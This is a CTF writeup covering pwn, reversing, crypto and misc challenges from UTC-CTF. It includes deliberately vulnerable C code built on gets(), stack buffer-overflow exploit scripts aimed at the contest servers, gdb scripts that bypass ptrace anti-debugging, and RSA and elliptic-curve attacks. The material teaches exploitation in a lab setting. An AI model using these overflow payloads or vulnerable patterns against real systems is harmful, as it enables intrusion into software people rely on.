ふるつき

v(*'='*)v かに

UTC-CTF writeup

I played UTC-CTF as wr0ngf1ag alone. Luckily, I reached 7th place at the end of that great competition! There were many well-designed challenges and educational challenges. Thanks to all the admins!

f:id:Furutsuki:20191222093958p:plain

[pwn] Simble bof (baby)

We're given the source code of the server.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();

void print_flag();

void vuln() {
  char padding[16];
  char buff[32];
  int notsecret = 0xffffff00;
  int secret = 0xdeadbeef;

  memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding.

  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 

  // Prints out the stack before modification
  visualize(buff);

  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!

  // Prints out the stack after modification
  visualize(buff); 

  // Check if secret has changed.
  if (secret == 0x67616c66) {
    puts("You did it! Congratuations!");
    print_flag(); // Print out the flag. You deserve it.
    return;
  } else if (notsecret != 0xffffff00) {
    puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }

  exit(0);
}

int main() {
  safeguard();
  vuln();
}

Just do it!

from ptrlib import *

sock = Socket("chal.utc-ctf.club", 35235)
payload = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + p32(0x67616C66)
sock.recvuntil("text: ")
sock.sendline(payload)
sock.interactive()

utc{buffer_0verflows_4re_c00l!}

[pwn] RIP my bof (baby)

We're given the server binary and source code.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);

void win() {
  system("/bin/cat /flag.txt");
}

void vuln() {
  char padding[16];
  char buff[32];

  memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFF, sizeof(padding)); // Mark the padding with 0xff.

  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 

  // Prints out the stack before modification
  visualize(buff);

  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!

  // Prints out the stack after modification
  visualize(buff); 
}

int main() {
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  vuln();
}

Just do it

from ptrlib import *

sock = Socket("chal.utc-ctf.club", 4902)
payload = b"a" * 60 + p32(0x8048586)
sock.recvuntil("text: ")
sock.sendline(payload)
sock.interactive()

utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd}

[Misc] ezip (baby)

We're given an encrypted zip and cat.png. The image must have the key. When I check the EXIF info, it had a comment e4syp4ssf0rz1p. This was a password.

[Misc] Optics 1 (baby)

We got a corrupted file challenge1.png. Its signature is altered to LOL so I recovered it into PNG using hexedit. Then the QR code in the image had the flag.

[Misc] Really Good Bicture

We got a simple image. According to the challenge title (RGB), I did the following script.

from PIL import Image

img = Image.open("flag.png")
w, h = img.size

prev = None
flag = []
for x in range(w):
    r, g, b = img.getpixel((x, 0))
    if (r, g, b) != prev:
        flag.extend([r, g, b])
        prev = (r, g, b)
print("".join(chr(c) for c in flag))

utc{taste_the_rainbow94100389}

[Reversing] Strings (baby)

Just strings to get the flag: utc{that_waz_ezpz}

[Reversing] Corey's core dump 1 (baby)

Also just strings to get the flag: utc{im_a_passw0rd}

[Reversing] Jump! (baby)

We got an ELF binary. It set the global variable selfish to 0 and just exited. But there was an uncalled function gimme_flag in the binary. It checks the selfish is zero and generates the flag. So I used following gdb script to make selfish 0 and jump to gimme_flag.

import gdb

gdb.execute("b main")
gdb.execute("run")
data = gdb.execute("info addr selfish", to_string=True).split()
for d in data:
    if d.startswith("0x"):
        break
gdb.execute("set {{int}}{}=0".format(d))
gdb.execute("jump gimme_flag")

utc{a_l1ttle_h4rd3r_:)}

[Reversing] Crackme (baby)

We got an ELF. It had the three stages which verify the user's input. The first stage is easy to identify the key was 383. The second stage checks the user's input after taking caesar's cipher. Because the rotation key was 5 and the result was JxWJaJW!, the key was EsREvER!. And the last stage used xor cipher to check the input. This one is also easy. I wrote the following script.

s = "L33TC0dE"
want = "x\001\022\vw\002E\032x\001\022\vw\002Edm\002\002ub\001E"
code = ""

for i in range(len(want)):
    code += chr(ord(want[i]) ^ ord(s[i % len(s)]))
print(code)

So the keys were (383, EsREvER!, 42!_42!_42!_42!!!11!!1!). Then the flag was utc{383_EsREvER!_42!_42!_42!_42!!!11!!1!}.

[Reversing] Login auth

We got an ELF. This xored its data section and jump to there. I was decompiled there and found that the code checked the input by xor. So the following script identifies it.

xs = [
    0x6E,
    0x2,
    0x0B,
    0x12,
    0x23,
    0x49,
    0x85,
    0x0BD,
    0x4B,
    0x87,
    0x0D,
    0x0B3,
    0x11,
    0x0D,
    0x25,
    0x80,
    0x0A6,
    0x82,
    0x4A,
    0x88,
    0x61,
    0x3E,
    0x0C3,
    0x0A6,
    0x7F,
    0x71,
    0x3,
    0x7E,
    0x85,
    0x11,
    0x0B2,
    0x8B,
    0x62,
    0x33,
    0x72,
    0x0BC,
    0x34,
    0x4,
    0x54,
    0x28,
    0x40,
    0x3B,
    0x19,
    0x0A,
    0x48,
    0x0B,
    0x41,
]

ys = [
    0x1B,
    0x76,
    0x68,
    0x69,
    0x12,
    0x27,
    0x0F6,
    0x8E,
    0x39,
    0x0F3,
    0x52,
    0x0D5,
    0x7D,
    0x4C,
    0x42,
    0x0DF,
    0x0C8,
    0x0E3,
    0x7,
    0x0BB,
    0x3E,
    0x4C,
    0x0F0,
    0x0CA,
    0x1E,
    0x5,
    0x66,
    0x1A,
    0x0DA,
    0x65,
    0x82,
    0x0D4,
    0x1,
    0x5B,
    0x13,
    0x0F0,
    0x78,
    0x41,
    0x3A,
    0x4F,
    0x25,
    0x64,
    0x71,
    0x39,
    0x3A,
    0x38,
    0x3C,
]
a = ""
for i in range(len(xs)):
    a += (chr(xs[i] ^ ys[i]))
print(a)

utc{1ns3rt_flAg_naM3_r3lated_t0_chaLLEnge_h3r3}

[Reversing] Stacks

We got an ELF in which the main function was seemed pretty small. However, it used dynamic jump operation like a jmp rcx and cheked the user input using xor. I used the following gdb script to follow the jumps and registers and avoid the ptrace check.

# gdb -n -q -x <self> <binary>
import gdb
import re

with open("input.txt", "w") as f:
    f.write("A" * 0x20)

alist = []
dlist = []

gdb.execute("b *0x401000", to_string=True)  # start
gdb.execute("run < input.txt", to_string=True)
gdb.execute("b *0x401128", to_string=True)  # cmp rax, rbx
gdb.execute("continue", to_string=True)
gdb.execute("set $rax = 0", to_string=True)  # ptrace = 0

gdb.execute("b *0x401024", to_string=True)  # mov    ah, byte ptr [rsi]
gdb.execute("b *0x401032", to_string=True)  # mov    dh, byte ptr [rcx]
gdb.execute("b *0x401075", to_string=True)  # je     0x401079

while True:
    gdb.execute("continue", to_string=True)
    gdb.execute("step", to_string=True)
    a = gdb.execute("print $ah", to_string=True).strip().split(" = ")[1]
    alist.append(int(a))

    gdb.execute("continue", to_string=True)
    gdb.execute("step", to_string=True)
    d = gdb.execute("print $dh", to_string=True).strip().split(" = ")[1]
    dlist.append(int(d))

    gdb.execute("continue", to_string=True)
    gdb.execute("set $eflags = $eflags | (1 << 6)", to_string=True)  # set ZF

    print("".join(chr(a ^ d) for a, d in zip(alist, dlist)))

Note: this script runs with pwndbg

utc{stAcks_Ar3_WACK!!!_HEHEXDXD}

[Crypto] RSAcue

We're given the following script and its result.

from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import gmpy2
from flag import m

p = getPrime(1024)
while True:
    p1 = gmpy2.next_prime(p)
    if p1-p == 2:
        q = p1
        break
    else:
        p = p1

n = p*q
e = 65537
pub = RSA.construct((long(n), long(e)))
f = open('publickey.pem', 'w')
f.write(pub.exportKey())
f.close()
key = PKCS1_v1_5.new(pub)
ct = key.encrypt(m).encode('base64')
f1 = open('ciphertext', 'w')
f1.write(ct)
f1.close()

At first glance, it noticed that p and q are quite near (there may be twin primes). So the Fermat factoring attack is effective.

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from crypto_commons.generic import fermat_factors
from base64 import b64decode

rsa = RSA.importKey(open("publickey.pem").read())
p, q = fermat_factors(rsa.n)
e = rsa.e
d = inverse(e, (p - 1) * (q - 1))

c = b64decode(open("ciphertext").read().replace("\n", ""))
c = bytes_to_long(c)

m = pow(c, d, rsa.n)
print(long_to_bytes(m))

utc{d0n7_k33p_pr1m35_cl053_by_2}

[Crypto] Curve it up

We got the curve.txt. Here is it.

Elliptic Curve: y^2 = x^3 + A*x + B mod N

N = 58738485967040967283590643918006240808790184776077323544750172596357004242953
A = 76727570604275129576071347306603709762219034167050511215297136720584179974657
B = ???

P = (1499223386326383661524589770996693829399568387777849887556841520506306635197, 18509752623395560148909577815970815579696746171847377654079329916213349431951)
Q = (29269524564002256949792104801311755011410313401000538744897527268133583311507, 29103379885505292913479681472487667587485926778997205945316050421132313574991)
Q = n*P

The flag is utc{n}

The B is unknown but we know P and Q, so it is easy to identify B. And then, it is easy to calculate n. I used sagemath.

sage: x = 1499223386326383661524589770996693829399568387777849887556841520506306
....: 635197
sage: y = 1850975262339556014890957781597081557969674617184737765407932991621334
....: 9431951
sage: N = 5873848596704096728359064391800624080879018477607732354475017259635700
....: 4242953
....: A = 7672757060427512957607134730660370976221903416705051121529713672058417
....: 9974657
sage: (x^3 + A*x - y^2) % N
51815615959490465098483241883476658568251085372935164566673646687456909276745
sage: B = -518156159594904650984832418834766585682510853729351645666736466874569
....: 09276745 % N
sage: P = EC(1499223386326383661524589770996693829399568387777849887556841520506
....: 306635197, 185097526233955601489095778159708155796967461718473776540793299
....: 16213349431951)
sage: Q = EC(2926952456400225694979210480131175501141031340100053874489752726813
....: 3583311507, 29103379885505292913479681472487667587485926778997205945316050
....: 421132313574991)
sage: P.discrete_log(Q)
314159

utc{314159}

[Crypto] OTP

This is multi time pad. Just do it.

MY FAVORITE SEASON IS TOTALLY THE SUMMER
NO WAY THE BEST SEASON IS TOTALLY SPRING
utc{drag_those_cribs}

[Crypto] Enigma Zwei

It is a reversing challenge rather than the crypto challenge. Just do it!

utc{En1gm4_e1N5_w4s_w4444y_str0nG3r_7h4n_th15}

[Crypto] Random Hash

We're given the following script.

import sys
import random

for trial in range(20):
    mask = (1<<64)-1
    seed = random.getrandbits(64)
    base = random.getrandbits(64)|1
    def xhash(x):
        h = seed
        for b in x:
            h = ((h+b)*base)&mask
        return h

    a = input('string 1> ')
    b = input('string 2> ')
    if a == b:
        sys.exit(0)
    if xhash(a.encode()) != xhash(b.encode()):
        sys.exit(0)

with open('flag.txt') as f:
    print(f.read().strip())

The xhash is the implementation of the Rolling Hash. And use 2^64 as the modulo. So I referenced this site and wrote the following script.

from ptrlib import Socket

s1 = "011<snip>110"
s2 = "100<snip>001"

sock = Socket("chal.utc-ctf.club", 5991)

for _ in range(20):
    sock.recvuntil(" 1> ")
    sock.sendline(s1)
    sock.recvuntil(" 2> ")
    sock.sendline(s2)


sock.interactive()

utc{1s_p0lly_h4sh_b3tt3r_th4n_SHA}